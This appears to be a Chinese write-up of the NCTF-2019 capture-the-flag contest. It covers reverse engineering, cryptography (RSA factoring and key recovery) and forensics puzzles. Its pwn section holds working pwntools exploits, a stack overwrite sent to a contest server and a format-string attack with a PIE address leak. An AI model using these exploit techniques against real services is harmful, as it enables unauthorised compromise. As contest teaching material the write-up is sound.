NCTF-2019

0x00 前言

0x01 Re

0x001 签到题

  • 题目说是考察线性代数,但是可以通过Z3快速求解。

  • Z3脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# -*- coding: UTF-8 -*-
import re
from z3 import *
solver = Solver()
a1 = [Int('a1%d'%i)for i in range(0,49)]

solver.add(18564== 34 * a1[3] + 12 * a1[0] + 53 * a1[1] + 6 * a1[2] + 58 * a1[4] + 36 * a1[5] + a1[6])
solver.add(37316== 27 * a1[4] + 73 * a1[3] + 12 * a1[2] + 83 * a1[0] + 85 * a1[1] + 96 * a1[5] + 52 * a1[6])
solver.add(32053== 24 * a1[2] + 78 * a1[0] + 53 * a1[1] + 36 * a1[3] + 86 * a1[4] + 25 * a1[5] + 46 * a1[6])
solver.add(33278== 78 * a1[1] + 39 * a1[0] + 52 * a1[2] + 9 * a1[3] + 62 * a1[4] + 37 * a1[5] + 84 * a1[6])
solver.add(23993== 48 * a1[4] + 6 * a1[1] + 23 * a1[0] + 14 * a1[2] + 74 * a1[3] + 12 * a1[5] + 83 * a1[6])
solver.add(33151== 15 * a1[5] + 48 * a1[4] + 92 * a1[2] + 85 * a1[1] + 27 * a1[0] + 42 * a1[3] + 72 * a1[6])
solver.add(15248== 26 * a1[5] + 67 * a1[3] + 6 * a1[1] + 4 * a1[0] + 3 * a1[2] + 68 * a1[6])
solver.add(13719== 34 * a1[10] + 12 * a1[7] + 53 * a1[8] + 6 * a1[9] + 58 * a1[11] + 36 * a1[12] + a1[13])
solver.add(34137== 27 * a1[11] + 73 * a1[10] + 12 * a1[9] + 83 * a1[7] + 85 * a1[8] + 96 * a1[12] + 52 * a1[13])
solver.add(27391== 24 * a1[9] + 78 * a1[7] + 53 * a1[8] + 36 * a1[10] + 86 * a1[11] + 25 * a1[12] + 46 * a1[13])
solver.add(28639== 78 * a1[8] + 39 * a1[7] + 52 * a1[9] + 9 * a1[10] + 62 * a1[11] + 37 * a1[12] + 84 * a1[13])
solver.add(18453== 48 * a1[11] + 6 * a1[8] + 23 * a1[7] + 14 * a1[9] + 74 * a1[10] + 12 * a1[12] + 83 * a1[13])
solver.add(28465== 15 * a1[12] + 48 * a1[11] + 92 * a1[9] + 85 * a1[8] + 27 * a1[7] + 42 * a1[10] + 72 * a1[13])
solver.add(12384== 26 * a1[12] + 67 * a1[10] + 6 * a1[8] + 4 * a1[7] + 3 * a1[9] + 68 * a1[13])
solver.add(20780== 34 * a1[17] + 12 * a1[14] + 53 * a1[15] + 6 * a1[16] + 58 * a1[18] + 36 * a1[19] + a1[20])
solver.add(45085== 27 * a1[18] + 73 * a1[17] + 12 * a1[16] + 83 * a1[14] + 85 * a1[15] + 96 * a1[19] + 52 * a1[20])
solver.add(35827== 24 * a1[16] + 78 * a1[14] + 53 * a1[15] + 36 * a1[17] + 86 * a1[18] + 25 * a1[19] + 46 * a1[20])
solver.add(37243== 78 * a1[15] + 39 * a1[14] + 52 * a1[16] + 9 * a1[17] + 62 * a1[18] + 37 * a1[19] + 84 * a1[20])
solver.add(26037== 48 * a1[18] + 6 * a1[15] + 23 * a1[14] + 14 * a1[16] + 74 * a1[17] + 12 * a1[19] + 83 * a1[20])
solver.add(39409== 15 * a1[19] + 48 * a1[18] + 92 * a1[16] + 85 * a1[15] + 27 * a1[14] + 42 * a1[17] + 72 * a1[20])
solver.add(17583== 26 * a1[19] + 67 * a1[17] + 6 * a1[15] + 4 * a1[14] + 3 * a1[16] + 68 * a1[20])
solver.add(20825== 34 * a1[24] + 12 * a1[21] + 53 * a1[22] + 6 * a1[23] + 58 * a1[25] + 36 * a1[26] + a1[27])
solver.add(44474== 27 * a1[25] + 73 * a1[24] + 12 * a1[23] + 83 * a1[21] + 85 * a1[22] + 96 * a1[26] + 52 * a1[27])
solver.add(35138== 24 * a1[23] + 78 * a1[21] + 53 * a1[22] + 36 * a1[24] + 86 * a1[25] + 25 * a1[26] + 46 * a1[27])
solver.add(36914== 78 * a1[22] + 39 * a1[21] + 52 * a1[23] + 9 * a1[24] + 62 * a1[25] + 37 * a1[26] + 84 * a1[27])
solver.add(25918== 48 * a1[25] + 6 * a1[22] + 23 * a1[21] + 14 * a1[23] + 74 * a1[24] + 12 * a1[26] + 83 * a1[27])
solver.add(38915== 15 * a1[26] + 48 * a1[25] + 92 * a1[23] + 85 * a1[22] + 27 * a1[21] + 42 * a1[24] + 72 * a1[27])
solver.add(17672== 26 * a1[26] + 67 * a1[24] + 6 * a1[22] + 4 * a1[21] + 3 * a1[23] + 68 * a1[27])
solver.add(21219== 34 * a1[31] + 12 * a1[28] + 53 * a1[29] + 6 * a1[30] + 58 * a1[32] + 36 * a1[33] + a1[34])
solver.add(43935== 27 * a1[32] + 73 * a1[31] + 12 * a1[30] + 83 * a1[28] + 85 * a1[29] + 96 * a1[33] + 52 * a1[34])
solver.add(37072== 24 * a1[30] + 78 * a1[28] + 53 * a1[29] + 36 * a1[31] + 86 * a1[32] + 25 * a1[33] + 46 * a1[34])
solver.add(39359== 78 * a1[29] + 39 * a1[28] + 52 * a1[30] + 9 * a1[31] + 62 * a1[32] + 37 * a1[33] + 84 * a1[34])
solver.add(27793== 48 * a1[32] + 6 * a1[29] + 23 * a1[28] + 14 * a1[30] + 74 * a1[31] + 12 * a1[33] + 83 * a1[34])
solver.add(41447== 15 * a1[33] + 48 * a1[32] + 92 * a1[30] + 85 * a1[29] + 27 * a1[28] + 42 * a1[31] + 72 * a1[34])
solver.add(18098== 26 * a1[33] + 67 * a1[31] + 6 * a1[29] + 4 * a1[28] + 3 * a1[30] + 68 * a1[34])
solver.add(21335== 34 * a1[38] + 12 * a1[35] + 53 * a1[36] + 6 * a1[37] + 58 * a1[39] + 36 * a1[40] + a1[41])
solver.add(46164== 27 * a1[39] + 73 * a1[38] + 12 * a1[37] + 83 * a1[35] + 85 * a1[36] + 96 * a1[40] + 52 * a1[41])
solver.add(38698== 24 * a1[37] + 78 * a1[35] + 53 * a1[36] + 36 * a1[38] + 86 * a1[39] + 25 * a1[40] + 46 * a1[41])
solver.add(39084== 78 * a1[36] + 39 * a1[35] + 52 * a1[37] + 9 * a1[38] + 62 * a1[39] + 37 * a1[40] + 84 * a1[41])
solver.add(29205== 48 * a1[39] + 6 * a1[36] + 23 * a1[35] + 14 * a1[37] + 74 * a1[38] + 12 * a1[40] + 83 * a1[41])
solver.add(40913== 15 * a1[40] + 48 * a1[39] + 92 * a1[37] + 85 * a1[36] + 27 * a1[35] + 42 * a1[38] + 72 * a1[41])
solver.add(19117== 26 * a1[40] + 67 * a1[38] + 6 * a1[36] + 4 * a1[35] + 3 * a1[37] + 68 * a1[41])
solver.add(21786== 34 * a1[45] + 12 * a1[42] + 53 * a1[43] + 6 * a1[44] + 58 * a1[46] + 36 * a1[47] + a1[48])
solver.add(46573== 27 * a1[46] + 73 * a1[45] + 12 * a1[44] + 83 * a1[42] + 85 * a1[43] + 96 * a1[47] + 52 * a1[48])
solver.add(38322== 24 * a1[44] + 78 * a1[42] + 53 * a1[43] + 36 * a1[45] + 86 * a1[46] + 25 * a1[47] + 46 * a1[48])
solver.add(41017== 78 * a1[43] + 39 * a1[42] + 52 * a1[44] + 9 * a1[45] + 62 * a1[46] + 37 * a1[47] + 84 * a1[48])
solver.add(29298== 48 * a1[46] + 6 * a1[43] + 23 * a1[42] + 14 * a1[44] + 74 * a1[45] + 12 * a1[47] + 83 * a1[48])
solver.add(43409== 15 * a1[47] + 48 * a1[46] + 92 * a1[44] + 85 * a1[43] + 27 * a1[42] + 42 * a1[45] + 72 * a1[48])
solver.add(19655== 26 * a1[47] + 67 * a1[45] + 6 * a1[43] + 4 * a1[42] + 3 * a1[44] + 68 * a1[48])


if solver.check() == sat:
m = solver.model()
f = ''
for i in range(49):
f+=chr(eval(str(solver.model().eval(a1[i]))))
print f

0x02 DEBUG

  • IDA动态调试即可拿到Flag。

0x02 Pwn

0x001

  • pwntools直接连接得到flag。

0x002 pwn_me_100years(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#c = process('./pwn_me_1')

c = remote('139.129.76.65',50004)

#gdb.attach(c,'b * 0x4008D9')

payload = 'yes\00'

payload += 'a'*(16-4)

payload += p64(0x66666666)

c.sendline(payload)

c.interactive()

0x003 pwn_me_100years(2)

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 考察格式化字符串漏洞以及PIE绕过方式。

  • 通过这道题,学到挺多的。

对开启PIE保护的程序下断的方法

  • 首先是对于开启PIE保护的文件,如果我们要使用gdb调试的话,需要这么下断点:
    b *$rebase(相对基址偏移),这个相对基址偏移可以在IDA中看到,就是在IDA里面看到的指令地址。但是需要gdb运行程序以后才能下断,gdb里面r了以后程序会直接运行下去,一般来说程序都有提示输入的函数,这时候我们先r然后直接Ctrl + C,然后下断即可。

  • 或者通过pie命令可以得到基址。

  • 或者通过vmmap或者libs命令得到基址,这俩命令是等价的。

  • 然后真实地址 = 基址 + 偏移,通过常规下断方法即可对真实地址下断。

PIE绕过

  • 通过动态调试,我们可以知道这里的buf这里的dest是同一块区域。我们可以read读入0x30个字节,但由于strncpy函数会覆盖掉前16个字节,所以我们可以利用后0x30-16个字节。

  • 我们通过发送16个填充字符和一个%p(用来泄露地址),得到这个地址,由于开启了PIE保护,所以这个地址每次重新加载程序的时候都会变的。所以我们需要计算出来这个地址跟基址的偏移(偏移保持不变),以不变应万变。

  • 我们泄露出来的地址为0x555555756080

  • 由于我们的基址 = 0x555555554000

  • 所以偏移offset = 0x202080

  • 那么每次程序的基址就等于我们每次泄露出来的地址减去偏移offset

格式化字符串漏洞利用

  • 剩下的就是格式化字符串漏洞了。

  • 我们手动测出来格式化字符串漏洞的offset = 6

  • 下面构造payload,由于目标数值为0x66666666,太大了,我们分批来写。每次写入0x666626214,占两个字节。所以我们的payload为:

1
2
3
payload = '%26214c%10$hn%11$hn'#注意 %10$hn%11$hn,原因见下一行。
payload = payload.ljust(32,'a')#补齐 让它占32字节,所以offset 需要加32/8 = 4。
payload+=p64(target)+p64(target+2)# target+2 因为每次写入的占2字节,需要后移2字节。
  • 完整exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level='debug'

#p = remote('139.129.76.65',50005)
p = process('./pwn_me_2')

p.recvuntil('name:\n')

p.sendline('a'*16+'%p.')
p.recvuntil('preparing......\n.')
s = p.recvuntil('.',drop=True)
base =int(s,16) -(0x555555756080-0x555555554000)
log.success('s = ' + s)
log.success('base = ' + hex(base))
target = base + 0x2020e0
log.success('target = ' + hex(target))
# offset=6

payload = '%26214c%10$hn%11$hn'
payload = payload.ljust(32,'a')
payload+=p64(target)+p64(target+2)

p.recvuntil('want?\n')

gdb.attach(p,'b * ' + hex(base+0xc2c))

p.sendline(payload)

p.interactive()

0x03 Crypto

0x001 Keyboard

  • 模拟手机九键输入法。

ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee

  • o对应9,o出现了三次,对应字母y,以此类推…

  • 写个解密脚本得到flag。
1
2
3
4
5
6
7
8
9
10
11
# -*- coding: UTF-8 -*-
s = 'ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee'
L = s.split()
list = 'qwertyuio'
key = ['','','abc','def','ghi','jkl','mno','pqrs','tuv','wxyz']
flag = 'NCTF{'
for i in L:
n = list.index(i[0]) + 1
length = len(i)
flag += key[n][length-1]
print flag + '}'

0x002 ChildRSA

非预期解

  • 根据题目,pq应该会比较相近。尝试yafu分解。

  • 直接在命令行里面传入n的话,会提示mismatched parens,我们新建一个n.txt,在里面写入n的值,注意最后要加换行!然后用在命令行用命令yafu-x64.exe "factor(@)" -batchfile n.txt。然后几秒钟后就得到了pq的值。

  • 那么现在pqnec都知道了,直接求解m即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy2
p =gmpy2.mpz(178449493212694205742332078583256205058672290603652616240227340638730811945224947826121772642204629335108873832781921390308501763661154638696935732709724016546955977529088135995838497476350749621442719690722226913635772410880516639651363626821442456779009699333452616953193799328647446968707045304702547915799734431818800374360377292309248361548868909066895474518333089446581763425755389837072166970684877011663234978631869703859541876049132713490090720408351108387971577438951727337962368478059295446047962510687695047494480605473377173021467764495541590394732685140829152761532035790187269724703444386838656193674253139)
q =gmpy2.mpz(184084121540115307597161367011014142898823526027674354555037785878481711602257307508985022577801782788769786800015984410443717799994642236194840684557538917849420967360121509675348296203886340264385224150964642958965438801864306187503790100281099130863977710204660546799128755418521327290719635075221585824217487386227004673527292281536221958961760681032293340099395863194031788435142296085219594866635192464353365034089592414809332183882423461536123972873871477755949082223830049594561329457349537703926325152949582123419049073013144325689632055433283354999265193117288252918515308767016885678802217366700376654365502867)
e =gmpy2.mpz(65537)

phi_n= (p - 1) * (q - 1)

n=p*q

d = gmpy2.invert(e, phi_n)

c=gmpy2.mpz(26308018356739853895382240109968894175166731283702927002165268998773708335216338997058314157717147131083296551313334042509806229853341488461087009955203854253313827608275460592785607739091992591431080342664081962030557042784864074533380701014585315663218783130162376176094773010478159362434331787279303302718098735574605469803801873109982473258207444342330633191849040553550708886593340770753064322410889048135425025715982196600650740987076486540674090923181664281515197679745907830107684777248532278645343716263686014941081417914622724906314960249945105011301731247324601620886782967217339340393853616450077105125391982689986178342417223392217085276465471102737594719932347242482670320801063191869471318313514407997326350065187904154229557706351355052446027159972546737213451422978211055778164578782156428466626894026103053360431281644645515155471301826844754338802352846095293421718249819728205538534652212984831283642472071669494851823123552827380737798609829706225744376667082534026874483482483127491533474306552210039386256062116345785870668331513725792053302188276682550672663353937781055621860101624242216671635824311412793495965628876036344731733142759495348248970313655381407241457118743532311394697763283681852908564387282605279108)

m=pow(c,d,n)

print 'm = ' + str(m)

print hex(m)[2:].decode('hex')

出题人的意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *

def Pollard_p_1(N):
a = 2
while True:
f = a
# precompute
for n in range(1, 80000):
f = pow(f, n, N)
for n in range(80000, 104729+1):
f = pow(f, n, N)
if n % 15 == 0:
d = GCD(f-1, N)
if 1 < d < N:
return d
print(a)
a += 1
n = 32849718197337581823002243717057659218502519004386996660885100592872201948834155543125924395614928962750579667346279456710633774501407292473006312537723894221717638059058796679686953564471994009285384798450493756900459225040360430847240975678450171551048783818642467506711424027848778367427338647282428667393241157151675410661015044633282064056800913282016363415202171926089293431012379261585078566301060173689328363696699811123592090204578098276704877408688525618732848817623879899628629300385790344366046641825507767709276622692835393219811283244303899850483748651722336996164724553364097066493953127153066970594638491950199605713033004684970381605908909693802373826516622872100822213645899846325022476318425889580091613323747640467299866189070780620292627043349618839126919699862580579994887507733838561768581933029077488033326056066378869170169389819542928899483936705521710423905128732013121538495096959944889076705471928490092476616709838980562233255542325528398956185421193665359897664110835645928646616337700617883946369110702443135980068553511927115723157704586595844927607636003501038871748639417378062348085980873502535098755568810971926925447913858894180171498580131088992227637341857123607600275137768132347158657063692388249513
print( Pollard_p_1(n) )
  • 然后就是正常的解密了。

0x003 BabyRSA

  • 根据代码可以得知p和q是两个相邻的大素数。我们知道了d也知道e。

  • 那么根据,可以得到,即,又因为,可得

  • 那么就可以去爆破这个k,从而得到phi (n)。又因为pq是相邻两个大素数,大小差不多,那么,可以通过对phi (n)开根号,在根的附近寻找能够整除phi (n)的数,找到了就是p-1或者q-1,从而获得n,然后获得flag。

  • 爆破k的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: UTF-8 -*-
from Crypto.Util.number import *
import gmpy2
e = 65537
d = 19275778946037899718035455438175509175723911466127462154506916564101519923603308900331427601983476886255849200332374081996442976307058597390881168155862238533018621944733299208108185814179466844504468163200369996564265921022888670062554504758512453217434777820468049494313818291727050400752551716550403647148197148884408264686846693842118387217753516963449753809860354047619256787869400297858568139700396567519469825398575103885487624463424429913017729585620877168171603444111464692841379661112075123399343270610272287865200880398193573260848268633461983435015031227070217852728240847398084414687146397303110709214913
c = 5382723168073828110696168558294206681757991149022777821127563301413483223874527233300721180839298617076705685041174247415826157096583055069337393987892262764211225227035880754417457056723909135525244957935906902665679777101130111392780237502928656225705262431431953003520093932924375902111280077255205118217436744112064069429678632923259898627997145803892753989255615273140300021040654505901442787810653626524305706316663169341797205752938755590056568986738227803487467274114398257187962140796551136220532809687606867385639367743705527511680719955380746377631156468689844150878381460560990755652899449340045313521804

kphi = e*d-1
n = 0
for k in range(1,e):
if kphi % k == 0:
phi = kphi/k
root = gmpy2.iroot(phi,2)[0]
for p in range(root-2000,root+2000):
if phi%(p-1) == 0:
q = phi/(p-1) + 1
n = p*q
print n
  • 注意,求根的时候不能用math.sqrt(),因为我们的数太大了,所以选用gmpy2.iroot来求根。

  • 拿到n以后 我们知道了c、d、n,就能得到flag了。

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
import gmpy2
e = 65537
d = 19275778946037899718035455438175509175723911466127462154506916564101519923603308900331427601983476886255849200332374081996442976307058597390881168155862238533018621944733299208108185814179466844504468163200369996564265921022888670062554504758512453217434777820468049494313818291727050400752551716550403647148197148884408264686846693842118387217753516963449753809860354047619256787869400297858568139700396567519469825398575103885487624463424429913017729585620877168171603444111464692841379661112075123399343270610272287865200880398193573260848268633461983435015031227070217852728240847398084414687146397303110709214913
c = 5382723168073828110696168558294206681757991149022777821127563301413483223874527233300721180839298617076705685041174247415826157096583055069337393987892262764211225227035880754417457056723909135525244957935906902665679777101130111392780237502928656225705262431431953003520093932924375902111280077255205118217436744112064069429678632923259898627997145803892753989255615273140300021040654505901442787810653626524305706316663169341797205752938755590056568986738227803487467274114398257187962140796551136220532809687606867385639367743705527511680719955380746377631156468689844150878381460560990755652899449340045313521804

n = 20504410400689593147555423519748552911043953672384279941891248025669880071955689910745346059912207834678616929754630745200468809255570512858402517731386845102068518526083204515529722020838820298462738678975209356676388502939085453171394815425395725474939507125791503971901391160281053434736568444206521730614657374829699726508866785788560535563942763310947712705794037018923200012913764739541376498612705175338275240811678877555686071062194582532893834084310206118431999312683235411343368211050374393142007595048334570583332870345562866644227976136918563977178593767417393759453878935459889615269219607083777401455983

m = pow(c, d, n)

print(long_to_bytes(m))

0x04 Misc

0x001 Pip install

  • Win下pip install nctf-2019-installme,会出现一个链接,打开链接下载.gz压缩包,在setup.py里面有flag的base64,解码即可。

0x002 a good idea

  • binwalk拿到to.png和to_do.png。

  • 据说用Stegsolve的Image combiner可以拿到二维码。

  • 脚本解题,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: UTF-8 -*-
from PIL import Image

img1=Image.open("C:\\Users\\LiuLian\\Desktop\\misc\\to.png")
im1=img1.load()
img2=Image.open("C:\\Users\\LiuLian\\Desktop\\misc\\to_do.png")
im2=img2.load()
width=290
height=289
image=Image.new('RGB',(width,height))
a=0
i=0
for x in range(img1.size[0]):
for y in range(img1.size[1]):
if(im1[x,y]!=im2[x,y]):
image.putpixel((x,y),(255,255,255))
image.show()
  • 拿到二维码扫码可得flag。

0x003 What’s this

  • 从流量包里提取出来What1s7his.txt,base64隐写解码得到flag。

0x004 键盘侠

  • 解伪加密得到一个图片, binwalk一下拿到好多7z、zip,看了一下zip文件,实际上是个doc文件,拓展名改成doc以后里面内容如下:

  • base85解密得到flag。
  • python3的base64库里面自带b85decode, 但是python2里面没有。